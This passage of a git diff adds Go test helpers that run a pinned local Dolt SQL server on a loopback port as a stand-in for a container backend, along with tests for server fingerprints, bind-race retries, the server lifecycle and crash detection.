tools/bazel/test_env.sh puts on PATH. Defaulting to +// local under Bazel would light up every Dolt suite that no lane runs with a +// server today in every non-ci `bazel test`. +const EnvDoltServerBackend = "BEADS_TEST_DOLT_SERVER" + +// EnvDoltServerGOMAXPROCS caps the CPUs a local test server uses. The +// container jobs run on 4-vCPU GitHub runners; a remote worker runs many test +// actions side by side, and an uncapped Go server sizes itself for the whole +// machine. +const EnvDoltServerGOMAXPROCS = "BEADS_TEST_DOLT_SERVER_GOMAXPROCS" + +const defaultLocalServerGOMAXPROCS = "4" + +// EnvDoltServerVerbose, set to "1", makes the local backend report each +// server's port and startup time on stderr. +const EnvDoltServerVerbose = "BEADS_TEST_DOLT_SERVER_VERBOSE" + +// useLocalDoltServer reports whether the local backend is selected. An +// unrecognized BEADS_TEST_DOLT_SERVER value is reported by checkDolt (see +// doltBackendErr) rather than guessed at. +func useLocalDoltServer() bool { + return os.Getenv(EnvDoltServerBackend) == "local" +} + +// doltBackendErr rejects a BEADS_TEST_DOLT_SERVER value that names neither +// backend: a typo must not silently fall back to one of them. +func doltBackendErr() error { + switch v := os.Getenv(EnvDoltServerBackend); v { + case "", "local", "container": + return nil + default: + return fmt.Errorf("%s=%q: want \"local\" or \"container\"", EnvDoltServerBackend, v) + } +} + +// localServerBase is where local servers keep their state. It is captured at +// package init, before any TestMain runs PinSuiteTempRoot (which re-points +// TMPDIR): a server under a suite root would be reported, and killed, as a +// leaked fixture by doltserver.SweepSuiteTestServers. The container backend +// kept its data outside the host filesystem entirely; this keeps it outside +// every suite root. +var localServerBase = os.TempDir() + +// pinnedDoltVersion is the version in DoltDockerImage's tag: the local +// backend must run exactly the release the container would. +var pinnedDoltVersion = func() string { + _, tag, _ := strings.Cut(DoltDockerImage, ":") + return tag +}() + +var ( + localDoltBinOnce sync.Once + localDoltBin string + localDoltBinErr error +) + +var doltVersionRe = regexp.MustCompile(`(?m)^dolt version (\S+)`) + +// resolveLocalDoltBinary finds the dolt CLI (BEADS_TEST_DOLT_BINARY, then +// PATH) and checks it is the pinned release. +func resolveLocalDoltBinary() (string, error) { + localDoltBinOnce.Do(func() { + sweepDeadLocalServerRoots(localServerBase, processAlive) + bin := os.Getenv("BEADS_TEST_DOLT_BINARY") + if bin == "" { + p, err := exec.LookPath("dolt") + if err != nil { + localDoltBinErr = fmt.Errorf("dolt CLI not found: %w", err) + return + } + bin = p + } + got, err := probeDoltVersion(bin, localServerBase) + if err != nil { + localDoltBinErr = err + return + } + if got != pinnedDoltVersion { + localDoltBinErr = fmt.Errorf("dolt CLI %s is version %s, want %s (the %s image the container backend runs)", + bin, got, pinnedDoltVersion, DoltDockerImage) + return + } + localDoltBin = bin + }) + return localDoltBin, localDoltBinErr +} + +// doltNoEventFlushEnv stops every dolt command from forking a detached +// `dolt send-metrics` child on exit. The *.disabled config keys below stop +// the network calls but not that child, which outlives its parent, re-creates +// /.dolt after the owner removed it, and races terminate's RemoveAll. +const doltNoEventFlushEnv = "DOLT_DISABLE_EVENT_FLUSH=1" + +// probeDoltVersion runs `bin version` with a throwaway HOME under base (so +// the user's ~/.dolt is neither read nor written) and returns the version. +func probeDoltVersion(bin, base string) (string, error) { + home, err := os.MkdirTemp(base, "bdt-doltver-") + if err != nil { + return "", err + } + defer func() { _ = os.RemoveAll(home) }() + _ = writeLocalRootOwner(home) + if err := writeLocalDoltGlobalConfig(home); err != nil { + return "", err + } + cmd := exec.Command(bin, "version") // #nosec G204 G702 -- test-only; bin is the pinned dolt CLI + cmd.Env = []string{"HOME=" + home, "DOLT_ROOT_PATH=" + home, "PATH=" + os.Getenv("PATH"), doltNoEventFlushEnv} + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s version: %w: %s", bin, err, out) + } + m := doltVersionRe.FindSubmatch(out) + if m == nil { + return "", fmt.Errorf("%s version: unrecognized output %q", bin, out) + } + return string(m[1]), nil +} + +// writeLocalDoltGlobalConfig writes the server's dolt global config. The +// image ships an empty one ({}); the two keys here only turn off usage +// events and the release check, which are network calls, not behavior. +func writeLocalDoltGlobalConfig(root string) error { + dir := filepath.Join(root, ".dolt") + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + return os.WriteFile(filepath.Join(dir, "config_global.json"), + []byte(`{"metrics.disabled":"true","versioncheck.disabled":"true"}`+"\n"), 0o600) +} + +// localDoltServer is one `dolt sql-server` owned by this test process. +type localDoltServer struct { + bin string + root string // owned tree: data/, home/, sfp/, server.yaml, server.log, owner.pid + dataDir string + logPath string + + mu sync.Mutex + port int + cmd *exec.Cmd + done chan struct{} // closed when cmd exits + waitErr error +} + +const ( + localServerStartAttempts = 5 + localServerStopTimeout = 10 * time.Second +) + +// startLocalDoltServer creates a fresh data directory and starts a server on +// it, provisioned like the container: root@% with no password, database +// beads_test, user test/test with USAGE and ALL ON beads_test.*. +func startLocalDoltServer() (*localDoltServer, error) { + began := time.Now() + s, err := newLocalDoltServer() + if err != nil { + return nil, err + } + if err := s.start(0); err != nil { + _ = os.RemoveAll(s.root) + return nil, err + } + if err := s.provision(); err != nil { + s.terminate() + return nil, err + } + if os.Getenv(EnvDoltServerVerbose) == "1" { + fmt.Fprintf(os.Stderr, "testutil: local dolt sql-server on 127.0.0.1:%d (state %s) ready+provisioned in %s\n", + s.Port(), s.root, time.Since(began).Round(time.Millisecond)) + } + return s, nil +} + +// newLocalDoltServer creates the state tree of a server that is not started +// yet: data/ (the server's working directory, a multi-database root like the +// image's /var/lib/dolt), home/ (its HOME and DOLT_ROOT_PATH), sfp/ (its +// secure_file_priv), server.log and the owner marker. +func newLocalDoltServer() (*localDoltServer, error) { + bin, err := resolveLocalDoltBinary() + if err != nil { + return nil, err + } + root, err := os.MkdirTemp(localServerBase, "bdt-dolt-") + if err != nil { + return nil, err + } + s := &localDoltServer{ + bin: bin, + root: root, + dataDir: filepath.Join(root, "data"), + logPath: filepath.Join(root, "server.log"), + } + if err := writeLocalRootOwner(root); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + for _, d := range []string{s.dataDir, s.secureFilePrivDir()} { + if err := os.MkdirAll(d, 0o700); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + } + if err := writeLocalDoltGlobalConfig(filepath.Join(root, "home")); err != nil { + _ = os.RemoveAll(root) + return nil, err + } + return s, nil +} + +// start launches the server on preferPort, or on a fresh loopback port when +// preferPort is 0 or taken. dolt sql-server rejects port 0, so the port is +// picked here and the rare bind race (another process takes it between the +// probe and dolt's bind) is retried with a new one. +func (s *localDoltServer) start(preferPort int) error { + var lastErr error + for attempt := 0; attempt < localServerStartAttempts; attempt++ { + port := preferPort + if attempt > 0 || port == 0 { + p, err := FindFreePort() + if err != nil { + return err + } + port = p + } + if port == 3307 { // productionPortReasons Rule 1: never the default port + continue + } + err := s.launch(port) + if err == nil { + return nil + } + lastErr = err + if !errors.Is(err, errLocalServerBind) { + return err + } + } + return fmt.Errorf("dolt sql-server did not start after %d attempts: %w", localServerStartAttempts, lastErr) +} + +var errLocalServerBind = errors.New("port already in use") + +func (s *localDoltServer) launch(port int) error { + logf, err := os.OpenFile(s.logPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) + if err != nil { + return err + } + logStart, _ := logf.Seek(0, io.SeekEnd) + gomaxprocs := os.Getenv(EnvDoltServerGOMAXPROCS) + if gomaxprocs == "" { + gomaxprocs = defaultLocalServerGOMAXPROCS + } + home := filepath.Join(s.root, "home") + cfg, err := s.writeServerConfig(port) + if err != nil { + _ = logf.Close() + return err + } + // #nosec G204 -- test-only, pinned binary, loopback listener + cmd := exec.Command(s.bin, "sql-server", "--config", cfg) + cmd.Dir = s.dataDir + // A clean environment, like the container's: nothing from the test + // (BEADS_*, DOLT_* overrides, the wrapper's dolt identity) reaches the + // server. DOLT_ROOT_HOST=% creates root@% on first start, as + // testcontainers asks the image to. + cmd.Env = []string{ + "PATH=" + os.Getenv("PATH"), + "HOME=" + home, + "DOLT_ROOT_PATH=" + home, + "DOLT_ROOT_HOST=%", + "TZ=UTC", + "GOMAXPROCS=" + gomaxprocs, + doltNoEventFlushEnv, + } + cmd.Stdout = logf + cmd.Stderr = logf + // Same process group as the test: `bazel test` (test-setup.sh) kills the + // group when the test exits or times out, which reaps a server that every + // cleanup missed. Pdeathsig covers plain `go test`. + cmd.SysProcAttr = localServerSysProcAttr() + if err := cmd.Start(); err != nil { + _ = logf.Close() + return fmt.Errorf("start dolt sql-server: %w", err) + } + done := make(chan struct{}) + s.mu.Lock() + s.cmd, s.done, s.port, s.waitErr = cmd, done, port, nil + s.mu.Unlock() + go func() { + err := cmd.Wait() + _ = logf.Close() + s.mu.Lock() + s.waitErr = err + s.mu.Unlock() + close(done) + }() + + if err := s.waitReady(port, done, logStart); err != nil { + s.kill() + return err + } + return nil +} + +func (s *localDoltServer) secureFilePrivDir() string { return filepath.Join(s.root, "sfp") } + +// writeServerConfig writes the server's --config file for port. dolt ignores +// every other flag when --config is given, so it carries the listener too. +// Its only other setting is secure_file_priv: the image runs with "" (any +// path), which inside a container reaches only the container's filesystem, +// but a local server runs as the test user on the host, where passwordless +// root@% plus LOAD_FILE / INTO OUTFILE would read and write the user's +// files from any process that can reach the port. Confining it to sfp/ is the +// one deliberate difference from the container (TestDoltServerFingerprint +// normalizes it). +func (s *localDoltServer) writeServerConfig(port int) (string, error) { + path := filepath.Join(s.root, "server.yaml") + cfg := fmt.Sprintf("listener:\n host: 127.0.0.1\n port: %d\nsystem_variables:\n secure_file_priv: %s\n", + port, strconv.Quote(s.secureFilePrivDir())) + return path, os.WriteFile(path, []byte(cfg), 0o600) +} + +// localServerReadyLine is what dolt sql-server logs once its listener is +// bound (the line testcontainers' dolt module waits for, too). +const localServerReadyLine = "Server ready. Accepting connections." + +// waitReady waits until this process has logged that it is listening and +// answers a bounded ping (see waitForDoltReady), and notices an early exit, +// classifying a bind failure so start can retry on another port. The log line +// is what makes the ping trustworthy: if another process owns the port, dolt +// fails to bind and exits, but a ping could still reach the other listener. +func (s *localDoltServer) waitReady(port int, done chan struct{}, logStart int64) error { + dsn := fmt.Sprintf("root@tcp(127.0.0.1:%d)/", port) + deadline := time.Now().Add(serverStartTimeout) + lastErr := errors.New("server has not logged " + strconv.Quote(localServerReadyLine)) + for time.Now().Before(deadline) { + select { + case <-done: + tail := s.logSince(logStart) + // dolt 2.2.0 checks the port itself ("Port N already in use."); + // a bind that loses the race after that check reports the + // kernel's "address already in use". + if strings.Contains(tail, "already in use") { + return fmt.Errorf("%w: port %d: %s", errLocalServerBind, port, tail) + } + return fmt.Errorf("dolt sql-server exited during startup on port %d: %s", port, tail) + default: + } + if bytes.Contains(s.readLogSince(logStart), []byte(localServerReadyLine)) { + if lastErr = pingDoltOnce(dsn); lastErr == nil { + return nil + } + } + time.Sleep(25 * time.Millisecond) + } + return fmt.Errorf("dolt sql-server on port %d not query-ready within %s: %v; log: %s", + port, serverStartTimeout, lastErr, s.logSince(logStart)) +} + +// readLogSince returns the server log from byte offset off on. +func (s *localDoltServer) readLogSince(off int64) []byte { + b, err := os.ReadFile(s.logPath) + if err != nil || int64(len(b)) < off { + return nil + } + return b[off:] +} + +// logSince returns the last 4 KiB of the server log from byte offset off on, +// for error messages. +func (s *localDoltServer) logSince(off int64) string { + b := bytes.TrimSpace(s.readLogSince(off)) + if len(b) > 4096 { + b = b[len(b)-4096:] + } + return string(b) +} + +// provision replays what testcontainers' dolt module and the image +// entrypoint do after the server is up. +func (s *localDoltServer) provision() error { + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())) + if err != nil { + return err + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + for _, stmt := range []string{ + "CREATE DATABASE IF NOT EXISTS `beads_test`", + "CREATE USER IF NOT EXISTS 'test'@'%' IDENTIFIED BY 'test'", + "GRANT USAGE ON *.* TO 'test'@'%'", + "GRANT ALL ON `beads_test`.* TO 'test'@'%'", + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + return fmt.Errorf("provision local dolt server: %s: %w", stmt, err) + } + } + return nil +} + +// Port returns the current listening port. +func (s *localDoltServer) Port() int { + s.mu.Lock() + defer s.mu.Unlock() + return s.port +} + +// exited reports whether the server process has exited. +func (s *localDoltServer) exited() (bool, error) { + s.mu.Lock() + done, werr := s.done, s.waitErr + s.mu.Unlock() + if done == nil { + return true, nil + } + select { + case <-done: + s.mu.Lock() + werr = s.waitErr + s.mu.Unlock() + return true, werr + default: + return false, nil + } +} + +// stop asks the server to exit (SIGTERM, then SIGKILL after +// localServerStopTimeout) and keeps its data directory. +func (s *localDoltServer) stop() error { + s.mu.Lock() + cmd, done := s.cmd, s.done + s.mu.Unlock() + if cmd == nil || cmd.Process == nil { + return nil + } + select { + case <-done: + return nil + default: + } + _ = cmd.Process.Signal(syscall.SIGTERM) + select { + case <-done: + return nil + case <-time.After(localServerStopTimeout): + _ = cmd.Process.Kill() + <-done + return fmt.Errorf("dolt sql-server (pid %d) ignored SIGTERM for %s; killed", cmd.Process.Pid, localServerStopTimeout) + } +} + +func (s *localDoltServer) kill() { + s.mu.Lock() + cmd, done := s.cmd, s.done + s.mu.Unlock() + if cmd == nil || cmd.Process == nil { + return + } + _ = cmd.Process.Kill() + <-done +} + +// restart starts the server again on its existing data directory, on the +// same port when it is still free. +func (s *localDoltServer) restart() error { + if gone, _ := s.exited(); !gone { + return fmt.Errorf("dolt sql-server is still running") + } + return s.start(s.Port()) +} + +// terminate stops the server and removes everything it owned. +func (s *localDoltServer) terminate() { + _ = s.stop() + _ = os.RemoveAll(s.root) +} + +// execInDataDir runs cmd on the host with the server's data directory as its +// working directory: the local counterpart of exec'ing into the container, +// whose working directory is its data directory (/var/lib/dolt). +func (s *localDoltServer) execInDataDir(ctx context.Context, argv []string) (int, string, error) { + if len(argv) == 0 { + return 0, "", fmt.Errorf("empty command") + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) // #nosec G204 -- test-only + cmd.Dir = s.dataDir + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if errors.As(err, &ee) { + return ee.ExitCode(), string(out), nil + } + if err != nil { + return 0, "", err + } + return 0, string(out), nil +} + +// Local state roots are removed by terminate, but nothing runs it when the +// test binary dies (panic, -timeout, SIGKILL) or when a package's TestMain +// never calls TerminateDoltContainer: the container backend has Ryuk for +// that, the local backend has these. Every root records its owning PID, and +// the first use of the backend in a later process removes the roots whose +// owner is gone (the doltserver.SweepDeadSuiteRoots rule, copied because +// doltserver's own tests import this package). +const ( + localRootOwnerFile = "owner.pid" + localServerRootGlob = "bdt-dolt-*" + localVersionRootGlob = "bdt-doltver-*" +) + +func writeLocalRootOwner(root string) error { + return os.WriteFile(filepath.Join(root, localRootOwnerFile), []byte(strconv.Itoa(os.Getpid())+"\n"), 0o600) +} + +// readLocalRootOwner returns the PID in root's owner marker; ok is false +// when there is none or it does not hold a PID, which means "owner unknown", +// never "owner dead". +func readLocalRootOwner(root string) (pid int, ok bool) { + b, err := os.ReadFile(filepath.Join(root, localRootOwnerFile)) // #nosec G304 -- fixed name under a root this user owns + if err != nil { + return 0, false + } + pid, err = strconv.Atoi(strings.TrimSpace(string(b))) + if err != nil || pid <= 0 { + return 0, false + } + return pid, true +} + +// processAlive reports whether pid names a running process (EPERM: it +// exists but belongs to someone else, so it is alive too). +func processAlive(pid int) bool { + err := syscall.Kill(pid, 0) + return err == nil || errors.Is(err, syscall.EPERM) +} + +// sweepDeadLocalServerRoots removes base's local-backend state roots whose +// owner marker names a dead process and returns them. A root without a +// marker (a pre-marker leftover, or one whose owner is still between +// MkdirTemp and writing it), with a live owner, not a real directory, or not +// owned by this user is left alone. Only directories are reclaimed: on +// Linux Pdeathsig already killed the dead owner's servers; elsewhere a +// surviving server keeps serving its deleted directory until it is killed. +func sweepDeadLocalServerRoots(base string, alive func(int) bool) []string { + var swept []string + for _, glob := range []string{localServerRootGlob, localVersionRootGlob} { + matches, _ := filepath.Glob(filepath.Join(base, glob)) + for _, root := range matches { + info, err := os.Lstat(root) + if err != nil || !info.IsDir() { + continue + } + if st, ok := info.Sys().(*syscall.Stat_t); !ok || int(st.Uid) != os.Getuid() { + continue + } + pid, ok := readLocalRootOwner(root) + if !ok || alive(pid) { + continue + } + if os.RemoveAll(root) == nil { + swept = append(swept, root) + } + } + } + if len(swept) > 0 && os.Getenv(EnvDoltServerVerbose) == "1" { + fmt.Fprintf(os.Stderr, "testutil: removed %d local dolt server state dir(s) of dead test processes: %v\n", len(swept), swept) + } + return swept +} diff --git a/internal/testutil/localdoltserver_linux.go b/internal/testutil/localdoltserver_linux.go new file mode 100644 index 000000000..45b88b86c --- /dev/null +++ b/internal/testutil/localdoltserver_linux.go @@ -0,0 +1,14 @@ +//go:build linux + +package testutil + +import "syscall" + +// localServerSysProcAttr keeps the server in the test's process group and +// asks the kernel to kill it if the thread that started it dies. Pdeathsig +// is tied to that OS thread, not the process, so it is a safety net only; +// the owner's Stop/Terminate and Bazel's process-group kill are the real +// reapers. +func localServerSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{Pdeathsig: syscall.SIGKILL} +} diff --git a/internal/testutil/localdoltserver_other.go b/internal/testutil/localdoltserver_other.go new file mode 100644 index 000000000..eb08c3803 --- /dev/null +++ b/internal/testutil/localdoltserver_other.go @@ -0,0 +1,11 @@ +//go:build !linux && !windows + +package testutil + +import "syscall" + +// localServerSysProcAttr keeps the server in the test's process group (no +// Pdeathsig outside Linux). +func localServerSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{} +} diff --git a/internal/testutil/localdoltserver_test.go b/internal/testutil/localdoltserver_test.go new file mode 100644 index 000000000..b56ade483 --- /dev/null +++ b/internal/testutil/localdoltserver_test.go @@ -0,0 +1,608 @@ +//go:build !windows + +package testutil + +import ( + "context" + "database/sql" + "errors" + "fmt" + "net" + "os" + "path/filepath" + "runtime" + "sort" + "strconv" + "strings" + "syscall" + "testing" + "time" +) + +// serverFingerprint is what a test can observe about "the Dolt test server" +// over SQL. Both backends must produce wantServerFingerprint: the container +// because that is what CI has always run against, the local backend because +// it has to be indistinguishable from it. A Dolt or image bump that changes +// any of these defaults fails here first (design D6 §2). +type serverFingerprint struct { + Users []string // user@host, sorted + TestGrants []string // SHOW GRANTS FOR 'test'@'%' + Databases []string // SHOW DATABASES, sorted + CurrentUser string // CURRENT_USER() when connecting as root + Version string + MaxConns string + SQLMode string + SystemTZ string + TimeZone string + Autocommit string + SecureFilePv string // normalized, see fingerprintServer + CharsetSrv string + CollationSrv string + MaxPacket string + TxIsolation string + LowerCaseTbl string + LowerCaseFS string // normalized off Linux, see fingerprintServer + WaitTimeout string + LockWait string // innodb_lock_wait_timeout +} + +var wantServerFingerprint = serverFingerprint{ + Users: []string{ + "__dolt_local_user__@localhost", + "event_scheduler@localhost", + "root@%", + "test@%", + }, + TestGrants: []string{ + "GRANT USAGE ON *.* TO `test`@`%`", + "GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, EVENT, TRIGGER ON `beads_test`.* TO `test`@`%`", + }, + Databases: []string{"beads_test", "information_schema", "mysql"}, + CurrentUser: "root@%", + Version: "8.0.31", + MaxConns: "151", + SQLMode: "NO_ENGINE_SUBSTITUTION,ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES", + SystemTZ: "UTC", + TimeZone: "SYSTEM", + Autocommit: "1", + SecureFilePv: "", + CharsetSrv: "utf8mb4", + CollationSrv: "utf8mb4_0900_bin", + MaxPacket: "1073741824", + TxIsolation: "REPEATABLE-READ", + LowerCaseTbl: "0", + LowerCaseFS: "0", + WaitTimeout: "28800", + LockWait: "1", +} + +func queryStrings(ctx context.Context, db *sql.DB, q string) ([]string, error) { + rows, err := db.QueryContext(ctx, q) + if err != nil { + return nil, fmt.Errorf("%s: %w", q, err) + } + defer rows.Close() + var out []string + for rows.Next() { + var s sql.NullString + if err := rows.Scan(&s); err != nil { + return nil, fmt.Errorf("%s: %w", q, err) + } + out = append(out, s.String) + } + return out, rows.Err() +} + +// fingerprintServer reads the fingerprint of the server on port. secureDir +// is the secure_file_priv the backend sets on purpose: the container's is "" +// (it can only reach the container's own filesystem), the local backend's is +// its state root's sfp/ (it runs on the host; see writeServerConfig). That +// value is reported as "" so both backends compare against one fingerprint. +func fingerprintServer(t *testing.T, port, secureDir string) serverFingerprint { + t.Helper() + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%s)/", port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + var fp serverFingerprint + must := func(v []string, err error) []string { + t.Helper() + if err != nil { + t.Fatal(err) + } + return v + } + fp.Users = must(queryStrings(ctx, db, "SELECT CONCAT(user, '@', host) FROM mysql.user ORDER BY 1")) + fp.TestGrants = must(queryStrings(ctx, db, "SHOW GRANTS FOR 'test'@'%'")) + fp.Databases = must(queryStrings(ctx, db, "SHOW DATABASES")) + sort.Strings(fp.Databases) + row := db.QueryRowContext(ctx, "SELECT CURRENT_USER(), @@version, @@max_connections, @@sql_mode, "+ + "@@system_time_zone, @@time_zone, @@autocommit, @@secure_file_priv, "+ + "@@character_set_server, @@collation_server, @@max_allowed_packet, @@transaction_isolation, "+ + "@@lower_case_table_names, @@lower_case_file_system, @@wait_timeout, @@innodb_lock_wait_timeout") + var secure sql.NullString + if err := row.Scan(&fp.CurrentUser, &fp.Version, &fp.MaxConns, &fp.SQLMode, + &fp.SystemTZ, &fp.TimeZone, &fp.Autocommit, &secure, + &fp.CharsetSrv, &fp.CollationSrv, &fp.MaxPacket, &fp.TxIsolation, + &fp.LowerCaseTbl, &fp.LowerCaseFS, &fp.WaitTimeout, &fp.LockWait); err != nil { + t.Fatalf("server variables: %v", err) + } + fp.SecureFilePv = secure.String + if secureDir != "" && filepath.Clean(fp.SecureFilePv) == filepath.Clean(secureDir) { + fp.SecureFilePv = "" + } + // lower_case_file_system describes the filesystem under the data + // directory: the container's is Linux, a local server on macOS sits on + // case-insensitive APFS and reports ON. Only Linux hosts compare it. + if runtime.GOOS != "linux" { + fp.LowerCaseFS = wantServerFingerprint.LowerCaseFS + } + return fp +} + +func checkFingerprint(t *testing.T, got serverFingerprint) { + t.Helper() + if g, w := fmt.Sprintf("%+q", got), fmt.Sprintf("%+q", wantServerFingerprint); g != w { + t.Errorf("Dolt test server fingerprint changed\n got: %s\nwant: %s", g, w) + } +} + +// TestDoltServerFingerprint checks every backend available on this host +// against the same checked-in fingerprint, so container and local servers +// are compared with each other through it. The backend BEADS_TEST_DOLT_SERVER +// selects obeys the usual skip/fail rules; the other one is checked only when +// it happens to be available. +func TestDoltServerFingerprint(t *testing.T) { + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + selectedLocal := useLocalDoltServer() + + t.Run("container", func(t *testing.T) { + if !selectedLocal { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if !isDockerAvailable() || !isDoltImageCached() { + t.Skipf("container backend not available on this host (docker + %s)", DoltDockerImage) + } + c := startIsolatedDoltContainer(t) + checkFingerprint(t, fingerprintServer(t, c.Port, "")) + }) + + t.Run("local", func(t *testing.T) { + skipLocalServerOffLinuxUnlessSelected(t) + if selectedLocal { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if _, err := resolveLocalDoltBinary(); err != nil { + t.Skipf("local backend not available on this host: %v", err) + } + c := startIsolatedLocalDoltServer(t) + checkFingerprint(t, fingerprintServer(t, c.Port, c.local.secureFilePrivDir())) + }) +} + +// skipLocalServerOffLinuxUnlessSelected keeps the local backend's own tests +// off non-Linux hosts unless BEADS_TEST_DOLT_SERVER=local asks for them. The +// macOS CI lanes run `go test -short ./...` with the pinned dolt installed; +// without Pdeathsig (Linux only) a test binary killed mid-test there would +// orphan its servers on the runner, and the backend is validated on Linux. +func skipLocalServerOffLinuxUnlessSelected(t *testing.T) { + t.Helper() + if runtime.GOOS != "linux" && !useLocalDoltServer() { + t.Skipf("skipping local dolt sql-server test on %s (no Pdeathsig); set %s=local to run it", + runtime.GOOS, EnvDoltServerBackend) + } +} + +// requireLocalDoltCLI skips (or, under BEADS_TEST_REQUIRE_DOLT_CONTAINER=1, +// fails) a test of the local backend itself when the pinned dolt CLI is +// missing. These tests run whichever backend is selected. +func requireLocalDoltCLI(t *testing.T) { + t.Helper() + skipLocalServerOffLinuxUnlessSelected(t) + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + if _, err := resolveLocalDoltBinary(); err != nil { + if os.Getenv(EnvRequireDoltContainer) == "1" && useLocalDoltServer() { + t.Fatalf("local Dolt CLI unavailable (%v) but %s=1", err, EnvRequireDoltContainer) + } + t.Skipf("local Dolt CLI unavailable: %v", err) + } +} + +func TestLocalDoltServer_BindRaceRetriesOnAnotherPort(t *testing.T) { + requireLocalDoltCLI(t) + // Hold a port the way a concurrent action would between FindFreePort and + // dolt's own bind. + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer l.Close() + taken := l.Addr().(*net.TCPAddr).Port + + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.terminate) + if err := s.start(taken); err != nil { + t.Fatalf("start with port %d taken: %v", taken, err) + } + if s.Port() == taken { + t.Fatalf("server reports the taken port %d", taken) + } + if !strings.Contains(s.logSince(0), "already in use") { + t.Errorf("first attempt did not hit the taken port; log: %s", s.logSince(0)) + } + if err := pingDoltOnce(fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())); err != nil { + t.Errorf("ping after retry: %v", err) + } +} + +func TestLocalDoltServer_NeverDefaultPort(t *testing.T) { + requireLocalDoltCLI(t) + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.terminate) + if err := s.start(3307); err != nil { + t.Fatal(err) + } + if s.Port() == 3307 { + t.Fatal("local test server listens on 3307, the production default port") + } +} + +func TestLocalDoltServer_Lifecycle(t *testing.T) { + requireLocalDoltCLI(t) + c := startIsolatedLocalDoltServer(t) + s := c.local + ctx := context.Background() + + t.Run("ExecRunsInDataDir", func(t *testing.T) { + code, out, err := c.Exec(ctx, []string{"pwd", "-P"}) + if err != nil || code != 0 { + t.Fatalf("exec pwd: code=%d err=%v out=%q", code, err, out) + } + want, _ := filepath.EvalSymlinks(s.dataDir) + if got := strings.TrimSpace(out); got != want { + t.Errorf("Exec working directory = %q, want the data dir %q", got, want) + } + code, _, err = c.Exec(ctx, []string{"test", "-d", "beads_test"}) + if err != nil || code != 0 { + t.Errorf("provisioned database beads_test not visible from Exec's cwd: code=%d err=%v", code, err) + } + code, _, err = c.Exec(ctx, []string{"false"}) + if err != nil || code != 1 { + t.Errorf("Exec exit status: code=%d err=%v, want 1, nil", code, err) + } + }) + + t.Run("StopStartKeepsData", func(t *testing.T) { + dsn := func(port string) string { return fmt.Sprintf("root@tcp(127.0.0.1:%s)/beads_test", port) } + db, err := sql.Open("mysql", dsn(c.Port)) + if err != nil { + t.Fatal(err) + } + if _, err := db.ExecContext(ctx, "CREATE TABLE kept (id INT PRIMARY KEY)"); err != nil { + t.Fatal(err) + } + if _, err := db.ExecContext(ctx, "INSERT INTO kept VALUES (42)"); err != nil { + t.Fatal(err) + } + _ = db.Close() + + if err := c.Stop(ctx); err != nil { + t.Fatalf("Stop: %v", err) + } + if gone, _ := s.exited(); !gone { + t.Fatal("server still running after Stop") + } + if err := c.Start(ctx); err != nil { + t.Fatalf("Start: %v", err) + } + port, err := c.CurrentPort(ctx) + if err != nil { + t.Fatal(err) + } + db, err = sql.Open("mysql", dsn(port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + var id int + if err := db.QueryRowContext(ctx, "SELECT id FROM kept").Scan(&id); err != nil || id != 42 { + t.Fatalf("data after restart: id=%d err=%v", id, err) + } + }) + + t.Run("CrashIsDetected", func(t *testing.T) { + s.mu.Lock() + pid := s.cmd.Process.Pid + s.mu.Unlock() + if gone, _ := s.exited(); gone { + t.Fatal("server reported exited before the kill") + } + if err := syscall.Kill(pid, syscall.SIGKILL); err != nil { + t.Fatal(err) + } + deadline := time.Now().Add(10 * time.Second) + for { + if gone, _ := s.exited(); gone { + break + } + if time.Now().After(deadline) { + t.Fatal("killed server not reported as exited") + } + time.Sleep(10 * time.Millisecond) + } + }) +} + +func TestLocalDoltServer_SingletonCrashDetection(t *testing.T) { + requireLocalDoltCLI(t) + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer s.terminate() + // Exercise the exported crash API on a singleton that is this server, + // without disturbing whatever singleton the package may hold. + doltServerMu.Lock() + saved := doltSingletonSrv + doltSingletonSrv = &doltServer{local: s} + doltServerMu.Unlock() + t.Cleanup(func() { + doltServerMu.Lock() + doltSingletonSrv = saved + doltServerMu.Unlock() + }) + + if DoltContainerCrashed() || DoltContainerCrashError() != nil { + t.Fatal("running server reported as crashed") + } + s.kill() + if !DoltContainerCrashed() { + t.Error("DoltContainerCrashed() = false after the server died") + } + if err := DoltContainerCrashError(); err == nil { + t.Error("DoltContainerCrashError() = nil after the server died") + } + if !ServerUnreachable(errors.New("anything")) { + t.Error("ServerUnreachable ignores a dead local singleton") + } +} + +// The suites' leak sweeps (doltserver.SweepSuiteTestServers) report and kill +// dolt servers whose working directory is under the suite root. Test servers +// must live outside it even when started after 